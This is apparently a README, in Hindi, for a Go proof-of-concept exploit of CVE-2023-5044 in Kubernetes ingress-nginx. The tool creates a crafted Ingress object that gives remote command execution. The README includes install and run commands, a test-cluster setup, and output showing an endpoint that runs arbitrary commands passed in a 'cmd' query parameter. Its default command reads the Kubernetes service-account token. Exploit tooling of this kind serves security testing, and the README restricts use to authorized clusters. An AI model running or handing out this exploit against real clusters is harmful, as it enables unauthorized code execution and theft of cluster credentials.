
ingress-nginx में CVE-2023-5044 के लिए Go-आधारित प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, क्राफ्टेड Kubernetes Ingress ऑब्जेक्ट बनाकर प्रमाणित रिमोट कमांड निष्पादन सक्षम करता है।
यह Ingress Nginx नियंत्रक में हालिया CVE का शोषण करने के लिए एक त्वरित Go प्रोग्राम है।
यह कैसे करें इसके विवरण Rory McCune के ब्लॉग पर पहले से उपलब्ध हैं https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/, यह केवल प्रक्रिया को थोड़ा स्वचालित करता है और शोषण को साफ-सुथरा बनाता है ताकि यह अधिक लचीला, सामान्य रिमोट कोड निष्पादन पेलोड हो।
% go install github.com/4armed/cve-2023-5044@latest
आपको इसके विरुद्ध चलाने के लिए एक क्लस्टर की आवश्यकता होगी, जो ingress-nginx का एक असुरक्षित संस्करण चला रहा हो (स्पष्ट रूप से)। यदि आपके पास परीक्षण के लिए कोई नहीं है, तो आप इस रेपो को क्लोन करके और deploy फ़ोल्डर में Makefile का उपयोग करके एक Kind क्लस्टर बना सकते हैं।
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up
यदि आप kind.yaml फ़ाइल को ज्यों-का-त्यों छोड़ते हैं, तो आपके पास पोर्ट 30080 और 30443 पर आपके लोकलहोस्ट से बंधा एक क्लस्टर होगा।
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"
"checking permissions" पंक्ति इसलिए है क्योंकि उपकरण एक Subject Access Review करता है ताकि यह जांच सके कि आपके पास एक इनग्रेस बनाने की अनुमति है या नहीं। यदि नहीं, तो यह उस बिंदु पर बाहर निकल जाएगा। यदि आपके पास किसी मौजूदा इनग्रेस का संपादन अधिकार है, तो आप निश्चित रूप से समझौता करने के लिए शोषण का उपयोग कर सकते हैं, लेकिन बिना कुछ तोड़े किसी मौजूदा इनग्रेस को अपडेट करना स्वचालित करना बहुत जटिल है।
शोषण को ट्रिगर करने का डिफ़ॉल्ट पथ /4armed है और यह cmd क्वेरी स्ट्रिंग पैरामीटर के मान को पढ़ता और निष्पादित करता है।
यह डिफ़ॉल्ट कमांड cat /var/run/secrets/kubernetes.io/serviceaccount/token के साथ एक उदाहरण URL प्रिंट करेगा। आप इसे -e फ्लैग से बदल सकते हैं या बस cmd पैरामीटर में कोई भिन्न मान प्रदान कर सकते हैं। शोषण हार्ड-कोडेड नहीं है। आपको एक नया इनग्रेस तैनात करने की आवश्यकता नहीं है।
% curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)
इनग्रेस ऑब्जेक्ट का नाम GenerateName का उपयोग करके यादृच्छिक किया जाता है, इसलिए आउटपुट पर ध्यान दें और अपने बाद सफाई करें।
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted
यदि आप केवल इनग्रेस ऑब्जेक्ट उत्पन्न करना चाहते हैं तो उपयोग करें:
% cve-2023-5044 generate
यह केवल उस क्लस्टर के विरुद्ध परीक्षण उद्देश्यों के लिए है जिसके लिए आपके पास अधिकार है। यदि आप इसका उपयोग किसी क्लस्टर के विरुद्ध करते हैं, चाहे आपके पास अनुमति हो या नहीं, लेखक किसी भी क्षति या समस्या के लिए कोई जिम्मेदारी स्वीकार नहीं करता है। पथ मानों को चुनने में पूरी सावधानी बरती गई है जो मौजूदा मानों से टकराते नहीं हैं, आप फ्लैग के साथ उन्हें ओवरराइड कर सकते हैं या आवश्यकता होने पर कोड बदल सकते हैं, लेकिन फिर भी आप कुछ तोड़ सकते हैं। सुनिश्चित करें कि आप जानते हैं कि आप क्या कर रहे हैं।